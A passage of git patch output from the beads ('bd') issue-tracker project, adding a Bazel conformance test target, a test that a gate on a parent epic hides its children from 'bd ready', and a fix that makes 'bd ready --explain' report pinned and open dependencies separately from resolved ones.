(the Bazel lane)", file) + } + } + if _, err := os.Stat(filepath.Join(root, ".github", "workflows", "conformance.yml")); err == nil { + t.Error(".github/workflows/conformance.yml is back; its tiers run under Bazel") } } diff --git a/test/conformance/BUILD.bazel b/test/conformance/BUILD.bazel index eebe95038..4758a9c00 100644 --- a/test/conformance/BUILD.bazel +++ b/test/conformance/BUILD.bazel @@ -1,4 +1,4 @@ -load("@rules_go//go:def.bzl", "go_library") +load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "conformance", @@ -7,6 +7,28 @@ go_library( visibility = ["//visibility:public"], ) +# The real-binary CLI tier of the storage conformance suite (formerly +# conformance.yml's Tier 2, `go test -tags 'gms_pure_go e2e' ./test/conformance`): +# bd init and the CLI corpus against the injected non-race bd_for_tests, as +# that tier's freshly built gms_pure_go bd. Its files build under the e2e or +# the integration tag, so --config=integration's lane runs it. +# +# Tags: +# integration-only: outside --config=integration rules_go drops both test +# files and the target would run zero tests. +go_test( + name = "conformance_test", + srcs = [ + "e2e_test.go", + "roundtrip_test.go", + ], + data = ["//cmd/bd:bd_for_tests"], + embed = [":conformance"], + env = {"BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)"}, + tags = ["integration-only"], + deps = ["//internal/testutil/bazeltest"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/test/conformance/e2e_test.go b/test/conformance/e2e_test.go index 42a0db008..dac3549d9 100644 --- a/test/conformance/e2e_test.go +++ b/test/conformance/e2e_test.go @@ -1,4 +1,7 @@ -//go:build e2e +//go:build e2e || integration + +// Built under e2e (scripts/conformance.sh) or integration (Bazel's +// --config=integration lane, //test/conformance:conformance_test). package conformance diff --git a/test/conformance/profiles.go b/test/conformance/profiles.go index 0ca3b320d..da1d671cf 100644 --- a/test/conformance/profiles.go +++ b/test/conformance/profiles.go @@ -7,7 +7,8 @@ // One declarative registry (Profiles) describes how to create and tear down an // isolated workspace for each backend. Adding a backend is one Profiles entry; the // runner and scripts/conformance.sh pick it up automatically. The suite is behind -// the `e2e` build tag because it shells out to a freshly built bd. +// the `e2e` (or `integration`) build tag because it shells out to a +// freshly built bd. // // # Stability // diff --git a/test/conformance/roundtrip_test.go b/test/conformance/roundtrip_test.go index 665c94a01..881f9493e 100644 --- a/test/conformance/roundtrip_test.go +++ b/test/conformance/roundtrip_test.go @@ -1,4 +1,7 @@ -//go:build e2e +//go:build e2e || integration + +// Built under e2e (scripts/conformance.sh) or integration (Bazel's +// --config=integration lane, //test/conformance:conformance_test). package conformance From 5cd171a7c0d87ddc9514c07b5e43a8944dc98b4f Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 22:45:49 +0000 Subject: [PATCH 012/213] test: pin that a gate on a parent hides existing and later-born children from bd ready (#6604) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * wy-raudbw: pin that a gate on a parent hides existing and later-born children from bd ready Embedded-dolt test: epic + two children all ready; gate on the epic hides all three; a child created after the gate is born hidden; resolving the gate frees all four. Pins the read-time cascade (blocked-consistency parent-child leg) that operator tooling downstream relies on. Co-Authored-By: Claude Fable 5.1 * ci: register TestEmbeddedGateInheritsDownParentChain with Bazel and the embedded shards Maintainer fixup for adopt-pr #6604. The PR adds a new embedded test file, cmd/bd/gate_inherit_embedded_test.go. Its merge-base (71c4cd08b9) predates two checks on main that every new cmd/bd embedded test has to satisfy: - cmd/bd/BUILD.bazel: bd_test's srcs list every untagged cmd/bd test file. Without the row, Bazel never compiles or runs the test, and bazel.yml's "BUILD files in sync" step in the required test job fails. The row was added by `bazel run //:gazelle`, which changed no other file. - .github/scripts/embedded-cmd-test-shards.txt: the Bazel-only 50-shard block must name every TestEmbedded* test exactly once, or TestCmdEmbeddedShardManifestGeneratorNotStale fails `go test ./scripts/`. The entry was added by `gen_embedded_cmd_shard_manifest.py 50 --weights=duration --write`, which is incremental: it placed the test on shard 16 and moved no existing assignment. The PR's own file is unchanged. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * test: match bd ready rows by exact ID in the gate-inherit pin Maintainer fixup for adopt-pr #6604, review iteration 1. TestEmbeddedGateInheritsDownParentChain decided whether an issue was in `bd ready` by looking for its title anywhere in the pretty output. The epic's two "should be ready" checks (before gate, after resolve) were vacuous: every ready child of an epic carries a "← " annotation, and buildParentEpicMap fetches that parent on its own, so the children's rows satisfied "Inherit epic" with no epic row in the list. The review suggested matching epic.ID instead. That is vacuous too: child IDs are hierarchical (.N, from GetNextChildIDTx), so the epic's ID is a substring of every child row. wantReady now takes the created issue and requires its ID as a whole whitespace-separated token of the output. The test keeps reading the pretty route (GetReadyWork) it was written against; --json would read through GetReadyWorkWithCountsAndTotal instead. Evidence: `BEADS_TEST_EMBEDDED_DOLT=1 go test -tags gms_pure_go ./cmd/bd/ -run '^TestEmbeddedGateInheritsDownParentChain$'` in git-archive copies, with BD_*/BEADS_*/GC_* unset so the bd binary is built from the copy. - Unmutated: PASS. - Mutant A, "epic" added to sqlbuild.ReadyWorkExcludeTypes. Ready printed "○ gi-83o.1 P2 Inherit child one ← Inherit epic" and no gi-83o row. The title check PASSED, the epic.ID substring check PASSED, and the ID-token check FAILED at the before-gate and after-resolve epic lines. - Mutant B, the issues parent-child leg of shouldBeBlockedIDsUnionScopedSQL disabled, so a gated parent no longer hides its children. The ID-token check fails at exactly the three child lines. The title check also failed the epic's "hidden" check, although the epic row was absent, because the children's annotation carried its title. Unchanged: the gate ID is still taken from the first "gi-" token of `bd gate create`. renderGateCreated documents its first line, "Created gate ", as parsed by downstream scripts. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- .github/scripts/embedded-cmd-test-shards.txt | 1 + cmd/bd/BUILD.bazel | 1 + cmd/bd/gate_inherit_embedded_test.go | 99 ++++++++++++++++++++ 3 files changed, 101 insertions(+) create mode 100644 cmd/bd/gate_inherit_embedded_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index c3bfa552f..535bf8d06 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -290,6 +290,7 @@ 50 15 TestEmbeddedVersionConcurrent 50 16 TestEmbeddedBlockedLabelFilters +50 16 TestEmbeddedGateInheritsDownParentChain 50 16 TestEmbeddedKV 50 16 TestEmbeddedMaxRowsReady 50 16 TestEmbeddedOpen_EmptyDatabaseRejected diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 10f006ac9..4305927a5 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -770,6 +770,7 @@ go_test( "gate_discover_test.go", "gate_embedded_test.go", "gate_frontdoor_parity_integration_test.go", + "gate_inherit_embedded_test.go", "gate_lifecycle_proxied_integration_test.go", "gate_routing_test.go", "gate_test.go", diff --git a/cmd/bd/gate_inherit_embedded_test.go b/cmd/bd/gate_inherit_embedded_test.go new file mode 100644 index 000000000..b3f18d8b0 --- /dev/null +++ b/cmd/bd/gate_inherit_embedded_test.go @@ -0,0 +1,99 @@ +//go:build cgo + +package main + +import ( + "os" + "os/exec" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedGateInheritsDownParentChain pins the property that a gate on a +// parent hides the parent AND every child from `bd ready` — children that +// existed when the gate was created and children created afterwards alike — +// and that resolving the gate frees all of them. The wyvern rig's operator +// tooling relies on this (its own gate labels are a snapshot; the bd ready +// fence is not), so a regression here would silently put shelved work back +// on agent fronts. Mechanism under test: a gate is a blocks-dependency onto +// the gate issue, and the parent-child leg of the blocked-consistency +// recompute cascades a parent's blockedness to its children. +func TestEmbeddedGateInheritsDownParentChain(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, beadsDir, _ := bdInit(t, bd, "--prefix", "gi") + store := openStore(t, beadsDir, "gi") + if err := store.SetConfig(t.Context(), "types.custom", `["gate"]`); err != nil { + t.Fatalf("SetConfig types.custom: %v", err) + } + store.Close() + + ready := func() string { + t.Helper() + cmd := exec.Command(bd, "ready", "--limit", "0") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd ready failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + return stdout.String() + } + // An issue counts as listed only when its ID is a whole token of the + // output. Neither its title nor a substring of its ID will do: every + // ready child of an epic carries a "← " annotation, and a + // child's hierarchical ID (.N) contains the epic's ID, so either + // looser match would let a child row stand in for the epic. + wantReady := func(out string, issue *types.Issue, want bool, when string) { + t.Helper() + if got := slices.Contains(strings.Fields(out), issue.ID); got != want { + t.Errorf("%s: %s (%q) in ready = %v, want %v\n%s", when, issue.ID, issue.Title, got, want, out) + } + } + + epic := bdCreate(t, bd, dir, "Inherit epic", "--type", "epic") + one := bdCreate(t, bd, dir, "Inherit child one", "--type", "task", "--parent", epic.ID) + two := bdCreate(t, bd, dir, "Inherit child two", "--type", "task", "--parent", epic.ID) + + out := ready() + wantReady(out, epic, true, "before gate") + wantReady(out, one, true, "before gate") + wantReady(out, two, true, "before gate") + + gateOut := bdGate(t, bd, dir, "create", "--blocks", epic.ID, "--reason", "hold the whole tree") + var gateID string + for _, word := range strings.Fields(gateOut) { + if strings.HasPrefix(word, "gi-") { + gateID = word + break + } + } + if gateID == "" { + t.Fatalf("could not extract gate ID from output: %s", gateOut) + } + + out = ready() + wantReady(out, epic, false, "gate open, existing children") + wantReady(out, one, false, "gate open, existing children") + wantReady(out, two, false, "gate open, existing children") + + // A child filed AFTER the gate must be born hidden too: the fence is a + // property of the tree at read time, not a snapshot at gate time. + late := bdCreate(t, bd, dir, "Inherit child late", "--type", "task", "--parent", epic.ID) + out = ready() + wantReady(out, late, false, "gate open, later-born child") + + bdGate(t, bd, dir, "resolve", gateID, "--reason", "released") + out = ready() + wantReady(out, epic, true, "after resolve") + wantReady(out, one, true, "after resolve") + wantReady(out, two, true, "after resolve") + wantReady(out, late, true, "after resolve") +} From 2e7637757faecaf81f198301122bd50afea681bc Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 22:46:47 +0000 Subject: [PATCH 013/213] fix(ready): --explain sorts a ready issue's blocking edges by status instead of calling a pinned dependency resolved (#7124) * fix(ready): --explain sorts a ready issue's blocking edges by status instead of calling a pinned dependency resolved (wy-0h6t03) The ready query skips a pinned target exactly as it skips a closed one, so a blocks edge onto a pinned bead never fences its dependent. The explanation never read the target's status: every blocking edge of a ready issue was appended to ResolvedBlockers, so a bead wired behind a long-lived pinned bring-up reported "1 blocker(s) resolved" while its precondition was unmet. Two trials sat on a takeable front for days that way. BuildReadyExplanation now sorts each blocks / conditional-blocks / waits-for edge by the target's status in blockerMap: closed stays under ResolvedBlockers, pinned goes to PinnedDependencies (never block), any other status to OpenDependencies (not blocking; the #6066 shape, now visible). A target without a status in the map keeps the old treatment. Reason keeps its "N blocker(s) resolved" lead and appends the other two counts as clauses. Both explain routes previously fetched only the blockers of blocked issues, so no ready target ever had a status; explainBlockerIDs now adds the ready issues' blocking-dependency targets to that one batch fetch, once each, and printReadyItemDependencies prints the three lines for both routes. Pinned-never-blocks itself is unchanged. Co-Authored-By: Claude Fable 5.1 * build(bazel): list ready_explain_ids_test.go in the cmd/bd go_test srcs (wy-0h6t03) The equivalence gate named TestExplainBlockerIDs and TestExplainBlockerIDs_Empty as tests go test runs that Bazel did not: the new test file was never added to BUILD.bazel. Co-Authored-By: Claude Fable 5.1 --------- Co-authored-by: Claude Fable 5.1 --- CHANGELOG.md | 16 +++++ cmd/bd/BUILD.bazel | 1 + cmd/bd/ready.go | 65 ++++++++++++++----- cmd/bd/ready_explain_ids_test.go | 50 +++++++++++++++ cmd/bd/ready_proxied_server.go | 15 +---- internal/types/explain_test.go | 103 +++++++++++++++++++++++++++++++ internal/types/types.go | 84 +++++++++++++++++++------ 7 files changed, 289 insertions(+), 45 deletions(-) create mode 100644 cmd/bd/ready_explain_ids_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 6f9d51dab..66ce69feb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -144,6 +144,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 is still ridden out within one command. A backend that drops a connection after the greeting, a dial timeout, and every refusal from a managed (local sidecar) backend keep the full transient retry. +- **`bd ready --explain` no longer reports a pinned dependency as a resolved + blocker.** The ready query skips a pinned target exactly as it skips a closed + one, so a `blocks` edge onto a pinned bead never fences its dependent — but + the explanation listed every blocking edge of a ready issue under + `Resolved blockers`, status unread, and a bead wired behind a long-lived + pinned bring-up reported itself satisfied while its precondition was unmet. + Each blocking edge is now sorted by the target's status: closed under + `Resolved blockers` (and `resolved_blockers`), pinned under + `Pinned dependencies (never block)` (`pinned_dependencies`), and any other + status under `Open dependencies (not blocking)` (`open_dependencies`) — the + shape #6066 reports for a foreign-prefix blocker, now visible instead of + passing as resolved. `Reason` keeps its `N blocker(s) resolved` lead and + appends the pinned and open counts as clauses. Both routes fetch the ready + issues' dependency targets alongside the blockers they already fetched. + Pinned-never-blocks itself is unchanged. + - **`bd list` no longer silently drops all but the last repeated filter flag.** `--status`, `--state`, and `--id` were plain string flags, so `bd list --status open --status closed --status pinned` kept only `pinned` — diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 4305927a5..765e55702 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1026,6 +1026,7 @@ go_test( "readonly_policy_test.go", "readonly_test.go", "ready_embedded_test.go", + "ready_explain_ids_test.go", "ready_input_test.go", "ready_max_rows_proxied_test.go", "ready_max_rows_test.go", diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index 71b1e8f22..babcefa35 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -554,17 +554,11 @@ func runReadyExplain(_ *cobra.Command) error { debug.Logf("warning: failed to detect cycles: %v", err) } - // Collect all blocker IDs to batch-fetch blocker details - allBlockerIDs := make(map[string]bool) - for _, bi := range blockedIssues { - for _, blockerID := range bi.BlockedBy { - allBlockerIDs[blockerID] = true - } - } - blockerIDList := make([]string, 0, len(allBlockerIDs)) - for id := range allBlockerIDs { - blockerIDList = append(blockerIDList, id) - } + // Collect all blocker IDs to batch-fetch blocker details: the blockers + // of blocked issues, plus the blocking-dependency targets of the ready + // issues, whose status decides whether --explain reports each as + // resolved, pinned or open. + blockerIDList := explainBlockerIDs(blockedIssues, readyIssues, allDeps) // Build ready items with explanations // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc and @@ -596,9 +590,7 @@ func runReadyExplain(_ *cobra.Command) error { ui.RenderPriority(item.Priority), item.Title) fmt.Printf(" Reason: %s\n", item.Reason) - if len(item.ResolvedBlockers) > 0 { - fmt.Printf(" Resolved blockers: %s\n", strings.Join(item.ResolvedBlockers, ", ")) - } + printReadyItemDependencies(item) if item.DependentCount > 0 { fmt.Printf(" Unblocks: %d issue(s)\n", item.DependentCount) } @@ -808,3 +800,48 @@ func init() { blockedCmd.Flags().StringSlice("exclude-label", []string{}, "Exclude issues that have ANY of these labels") rootCmd.AddCommand(blockedCmd) } + +// explainBlockerIDs collects, once each, the ids whose status --explain +// needs: every blocker of a blocked issue, and the target of every blocking +// dependency (blocks, conditional-blocks, waits-for) of a ready issue. The +// ready targets matter because the ready query admits an issue whose blocking +// targets are closed OR pinned, and only the target's status tells the +// explanation which of the two it saw. +func explainBlockerIDs(blockedIssues []*types.BlockedIssue, readyIssues []*types.Issue, allDeps map[string][]*types.Dependency) []string { + seen := make(map[string]bool) + var ids []string + add := func(id string) { + if id == "" || seen[id] { + return + } + seen[id] = true + ids = append(ids, id) + } + for _, bi := range blockedIssues { + for _, blockerID := range bi.BlockedBy { + add(blockerID) + } + } + for _, issue := range readyIssues { + for _, dep := range allDeps[issue.ID] { + if dep.Type == types.DepBlocks || dep.Type == types.DepConditionalBlocks || dep.Type == types.DepWaitsFor { + add(dep.DependsOnID) + } + } + } + return ids +} + +// printReadyItemDependencies prints the three dependency lines of a ready +// item in --explain's text form, each only when non-empty. +func printReadyItemDependencies(item types.ReadyItem) { + if len(item.ResolvedBlockers) > 0 { + fmt.Printf(" Resolved blockers: %s\n", strings.Join(item.ResolvedBlockers, ", ")) + } + if len(item.PinnedDependencies) > 0 { + fmt.Printf(" Pinned dependencies (never block): %s\n", strings.Join(item.PinnedDependencies, ", ")) + } + if len(item.OpenDependencies) > 0 { + fmt.Printf(" Open dependencies (not blocking): %s\n", strings.Join(item.OpenDependencies, ", ")) + } +} diff --git a/cmd/bd/ready_explain_ids_test.go b/cmd/bd/ready_explain_ids_test.go new file mode 100644 index 000000000..fddac35a8 --- /dev/null +++ b/cmd/bd/ready_explain_ids_test.go @@ -0,0 +1,50 @@ +package main + +import ( + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// explainBlockerIDs must hand the explanation every id whose status it +// reads: the blockers of blocked issues AND the blocking-dependency targets of +// ready issues (the ones whose closed-or-pinned status the ready query +// collapsed), once each, and no parent-child or related target. +func TestExplainBlockerIDs(t *testing.T) { + blocked := []*types.BlockedIssue{ + {Issue: types.Issue{ID: "bd-b1"}, BlockedBy: []string{"bd-x", "bd-y"}}, + {Issue: types.Issue{ID: "bd-b2"}, BlockedBy: []string{"bd-y", ""}}, + } + ready := []*types.Issue{{ID: "bd-r1"}, {ID: "bd-r2"}} + allDeps := map[string][]*types.Dependency{ + "bd-r1": { + {IssueID: "bd-r1", DependsOnID: "bd-pinned", Type: types.DepBlocks}, + {IssueID: "bd-r1", DependsOnID: "bd-x", Type: types.DepConditionalBlocks}, + {IssueID: "bd-r1", DependsOnID: "bd-epic", Type: types.DepParentChild}, + }, + "bd-r2": { + {IssueID: "bd-r2", DependsOnID: "bd-spawner", Type: types.DepWaitsFor}, + {IssueID: "bd-r2", DependsOnID: "bd-rel", Type: types.DepRelated}, + }, + "bd-not-ready": { + {IssueID: "bd-not-ready", DependsOnID: "bd-elsewhere", Type: types.DepBlocks}, + }, + } + + got := explainBlockerIDs(blocked, ready, allDeps) + want := []string{"bd-x", "bd-y", "bd-pinned", "bd-spawner"} + if len(got) != len(want) { + t.Fatalf("explainBlockerIDs = %v, want %v", got, want) + } + for i := range want { + if got[i] != want[i] { + t.Fatalf("explainBlockerIDs = %v, want %v", got, want) + } + } +} + +func TestExplainBlockerIDs_Empty(t *testing.T) { + if got := explainBlockerIDs(nil, nil, nil); len(got) != 0 { + t.Fatalf("expected no ids, got %v", got) + } +} diff --git a/cmd/bd/ready_proxied_server.go b/cmd/bd/ready_proxied_server.go index 97180dee8..30a815f32 100644 --- a/cmd/bd/ready_proxied_server.go +++ b/cmd/bd/ready_proxied_server.go @@ -320,16 +320,7 @@ func runReadyProxiedExplain(ctx context.Context, uw uow.UnitOfWork, _ readyInput debug.Logf("warning: failed to detect cycles: %v", err) } - allBlockerIDs := make(map[string]bool) - for _, bi := range blockedIssues { - for _, blockerID := range bi.BlockedBy { - allBlockerIDs[blockerID] = true - } - } - blockerIDList := make([]string, 0, len(allBlockerIDs)) - for id := range allBlockerIDs { - blockerIDList = append(blockerIDList, id) - } + blockerIDList := explainBlockerIDs(blockedIssues, readyIssues, allDeps) // TODO(batchgetter): unbounded id list; see issueops.BatchGetter's doc and // the importIssueLookup TODO in import_shared.go for why this is not yet // routed through GetMany. @@ -365,9 +356,7 @@ func runReadyProxiedExplain(ctx context.Context, uw uow.UnitOfWork, _ readyInput ui.RenderPriority(item.Priority), item.Title) fmt.Printf(" Reason: %s\n", item.Reason) - if len(item.ResolvedBlockers) > 0 { - fmt.Printf(" Resolved blockers: %s\n", strings.Join(item.ResolvedBlockers, ", ")) - } + printReadyItemDependencies(item) if item.DependentCount > 0 { fmt.Printf(" Unblocks: %d issue(s)\n", item.DependentCount) } diff --git a/internal/types/explain_test.go b/internal/types/explain_test.go index bd8c2b0ee..bf1500bc0 100644 --- a/internal/types/explain_test.go +++ b/internal/types/explain_test.go @@ -62,6 +62,9 @@ func TestBuildReadyExplanation_ReadyWithResolvedBlockers(t *testing.T) { }, } + // A nil blockerMap supplies no statuses: the ready set's verdict is the + // only word, so every blocking edge counts as resolved (the pre-#6066 + // shape, kept for callers that fetch nothing). result := BuildReadyExplanation(issues, nil, depCounts, allDeps, nil, nil) if len(result.Ready) != 1 { @@ -75,6 +78,9 @@ func TestBuildReadyExplanation_ReadyWithResolvedBlockers(t *testing.T) { if len(item.ResolvedBlockers) != 2 { t.Errorf("expected 2 resolved blockers, got %d", len(item.ResolvedBlockers)) } + if len(item.PinnedDependencies) != 0 || len(item.OpenDependencies) != 0 { + t.Errorf("expected no pinned/open dependencies without statuses, got %v / %v", item.PinnedDependencies, item.OpenDependencies) + } if item.DependencyCount != 2 { t.Errorf("expected DependencyCount=2, got %d", item.DependencyCount) } @@ -83,6 +89,103 @@ func TestBuildReadyExplanation_ReadyWithResolvedBlockers(t *testing.T) { } } +// A ready issue's blocking edges are sorted by the target's status: closed is +// a resolved blocker, pinned never blocked (the ready query skips pinned +// targets as it skips closed ones), anything else is an open dependency the +// ready set admitted anyway. Before this every edge printed as "resolved", +// so a dependency wired onto a pinned bead reported itself satisfied. +func TestBuildReadyExplanation_ReadyDependencyStatuses(t *testing.T) { + issues := []*Issue{ + {ID: "bd-1", Title: "Ready", Priority: 1, Status: StatusOpen}, + } + allDeps := map[string][]*Dependency{ + "bd-1": { + {IssueID: "bd-1", DependsOnID: "bd-closed", Type: DepBlocks}, + {IssueID: "bd-1", DependsOnID: "bd-pinned", Type: DepBlocks}, + {IssueID: "bd-1", DependsOnID: "bd-open", Type: DepBlocks}, + {IssueID: "bd-1", DependsOnID: "bd-spawner", Type: DepWaitsFor}, + {IssueID: "bd-1", DependsOnID: "bd-unknown", Type: DepConditionalBlocks}, + {IssueID: "bd-1", DependsOnID: "bd-epic", Type: DepParentChild}, + {IssueID: "bd-1", DependsOnID: "bd-related", Type: DepRelated}, + }, + } + blockerMap := map[string]*Issue{ + "bd-closed": {ID: "bd-closed", Status: StatusClosed}, + "bd-pinned": {ID: "bd-pinned", Status: StatusPinned}, + "bd-open": {ID: "bd-open", Status: StatusOpen}, + "bd-spawner": {ID: "bd-spawner", Status: StatusInProgress}, + "bd-epic": {ID: "bd-epic", Status: StatusOpen}, + } + + result := BuildReadyExplanation(issues, nil, nil, allDeps, blockerMap, nil) + if len(result.Ready) != 1 { + t.Fatalf("expected 1 ready item, got %d", len(result.Ready)) + } + item := result.Ready[0] + + // bd-unknown has no status in the map and so joins the resolved set. + assertIDs(t, "ResolvedBlockers", item.ResolvedBlockers, "bd-closed", "bd-unknown") + assertIDs(t, "PinnedDependencies", item.PinnedDependencies, "bd-pinned") + assertIDs(t, "OpenDependencies", item.OpenDependencies, "bd-open", "bd-spawner") + want := "2 blocker(s) resolved; 1 pinned dependency(ies), never blocking; 2 open dependency(ies), not blocking" + if item.Reason != want { + t.Errorf("reason:\n got %q\nwant %q", item.Reason, want) + } + if item.Parent == nil || *item.Parent != "bd-epic" { + t.Errorf("expected Parent=bd-epic, got %v", item.Parent) + } +} + +// Only pinned edges: the reason must not claim anything was resolved. +func TestBuildReadyExplanation_ReadyWithOnlyPinnedDependency(t *testing.T) { + issues := []*Issue{{ID: "bd-1", Title: "Ready", Priority: 1, Status: StatusOpen}} + allDeps := map[string][]*Dependency{ + "bd-1": {{IssueID: "bd-1", DependsOnID: "bd-pinned", Type: DepBlocks}}, + } + blockerMap := map[string]*Issue{"bd-pinned": {ID: "bd-pinned", Status: StatusPinned}} + + item := BuildReadyExplanation(issues, nil, nil, allDeps, blockerMap, nil).Ready[0] + if item.Reason != "1 pinned dependency(ies), never blocking" { + t.Errorf("unexpected reason %q", item.Reason) + } + if len(item.ResolvedBlockers) != 0 { + t.Errorf("expected no resolved blockers, got %v", item.ResolvedBlockers) + } + assertIDs(t, "PinnedDependencies", item.PinnedDependencies, "bd-pinned") +} + +func TestReadyReason(t *testing.T) { + cases := []struct { + resolved, pinned, open int + want string + }{ + {0, 0, 0, "no blocking dependencies"}, + {2, 0, 0, "2 blocker(s) resolved"}, + {0, 1, 0, "1 pinned dependency(ies), never blocking"}, + {0, 0, 3, "3 open dependency(ies), not blocking"}, + {1, 1, 1, "1 blocker(s) resolved; 1 pinned dependency(ies), never blocking; 1 open dependency(ies), not blocking"}, + } + for _, c := range cases { + if got := readyReason(c.resolved, c.pinned, c.open); got != c.want { + t.Errorf("readyReason(%d,%d,%d) = %q, want %q", c.resolved, c.pinned, c.open, got, c.want) + } + } +} + +func assertIDs(t *testing.T, field string, got []string, want ...string) { + t.Helper() + if len(got) != len(want) { + t.Errorf("%s = %v, want %v", field, got, want) + return + } + for i := range want { + if got[i] != want[i] { + t.Errorf("%s = %v, want %v", field, got, want) + return + } + } +} + func TestBuildReadyExplanation_ReadyWithParent(t *testing.T) { issues := []*Issue{ {ID: "bd-child", Title: "Child task", Priority: 2, Status: StatusOpen}, diff --git a/internal/types/types.go b/internal/types/types.go index d92838761..88a276cb2 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1869,13 +1869,26 @@ type ReadyExplanation struct { } // ReadyItem explains why a specific issue is ready for work. +// +// The issue's blocking dependencies (blocks, conditional-blocks, waits-for) +// are sorted by the target's status as the caller supplied it in blockerMap: +// ResolvedBlockers holds closed targets, PinnedDependencies holds pinned ones +// (a pinned bead never blocks, so a dependency on one never fenced this +// issue — it is reported as what it is, not as a blocker that was resolved), +// and OpenDependencies holds targets in any other status — a blocks edge +// here means the ready set and the edge disagree (foreign-prefix ids, #6066); +// a waits-for edge here is the ordinary spawner-still-open case. A target the +// caller did not supply a status for is counted under ResolvedBlockers, the +// ready set's own verdict being the only word available. type ReadyItem struct { *Issue - Reason string `json:"reason"` - ResolvedBlockers []string `json:"resolved_blockers"` - DependencyCount int `json:"dependency_count"` - DependentCount int `json:"dependent_count"` - Parent *string `json:"parent,omitempty"` + Reason string `json:"reason"` + ResolvedBlockers []string `json:"resolved_blockers"` + PinnedDependencies []string `json:"pinned_dependencies,omitempty"` + OpenDependencies []string `json:"open_dependencies,omitempty"` + DependencyCount int `json:"dependency_count"` + DependentCount int `json:"dependent_count"` + Parent *string `json:"parent,omitempty"` } // BlockedItem explains why a specific issue is blocked. @@ -1918,18 +1931,29 @@ func BuildReadyExplanation( counts = &DependencyCounts{} } - // Find resolved blockers (closed issues that this depended on) - var resolvedBlockers []string - reason := "no blocking dependencies" + // Sort the blocking dependencies by the target's status. Before this + // every blocking edge of a ready issue was printed as a resolved + // blocker, which is wrong for a pinned target: the ready query skips + // pinned targets exactly as it skips closed ones, so a dependency on + // a pinned bead never blocked anything and nothing about it was + // resolved. --explain is the one place a reader can see that. + var resolvedBlockers, pinnedDeps, openDeps []string deps := allDeps[issue.ID] for _, dep := range deps { - if dep.Type == DepBlocks || dep.Type == DepConditionalBlocks || dep.Type == DepWaitsFor { + if dep.Type != DepBlocks && dep.Type != DepConditionalBlocks && dep.Type != DepWaitsFor { + continue + } + target, known := blockerMap[dep.DependsOnID] + switch { + case !known || target == nil || target.Status == StatusClosed: resolvedBlockers = append(resolvedBlockers, dep.DependsOnID) + case target.Status == StatusPinned: + pinnedDeps = append(pinnedDeps, dep.DependsOnID) + default: + openDeps = append(openDeps, dep.DependsOnID) } } - if len(resolvedBlockers) > 0 { - reason = fmt.Sprintf("%d blocker(s) resolved", len(resolvedBlockers)) - } + reason := readyReason(len(resolvedBlockers), len(pinnedDeps), len(openDeps)) // Compute parent var parent *string @@ -1941,12 +1965,14 @@ func BuildReadyExplanation( } readyItems = append(readyItems, ReadyItem{ - Issue: issue, - Reason: reason, - ResolvedBlockers: resolvedBlockers, - DependencyCount: counts.DependencyCount, - DependentCount: counts.DependentCount, - Parent: parent, + Issue: issue, + Reason: reason, + ResolvedBlockers: resolvedBlockers, + PinnedDependencies: pinnedDeps, + OpenDependencies: openDeps, + DependencyCount: counts.DependencyCount, + DependentCount: counts.DependentCount, + Parent: parent, }) } @@ -1992,6 +2018,28 @@ func BuildReadyExplanation( } } +// readyReason words a ReadyItem's Reason from the three dependency counts. +// "no blocking dependencies" is kept verbatim for the no-edge case; a resolved +// count keeps the historical "N blocker(s) resolved" lead so scripts that +// match on it still do; pinned and open counts are appended as clauses rather +// than folded into the resolved count. +func readyReason(resolved, pinned, open int) string { + var parts []string + if resolved > 0 { + parts = append(parts, fmt.Sprintf("%d blocker(s) resolved", resolved)) + } + if pinned > 0 { + parts = append(parts, fmt.Sprintf("%d pinned dependency(ies), never blocking", pinned)) + } + if open > 0 { + parts = append(parts, fmt.Sprintf("%d open dependency(ies), not blocking", open)) + } + if len(parts) == 0 { + return "no blocking dependencies" + } + return strings.Join(parts, "; ") +} + // TreeNode represents a node in a dependency tree type TreeNode struct { Issue From 8ae1a2beb35bafa99a20fb400b158107b3fbd7b7 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 23:03:01 +0000 Subject: [PATCH 014/213] docs(ide-setup): re-review against cmd/bd/setup and refresh its marker (#7268) The Last reviewed marker (2026-07-10) passes the 90-day limit in scripts/check-doc-freshness.sh at 2026-10-09 00:00 UTC, when the required "Check doc 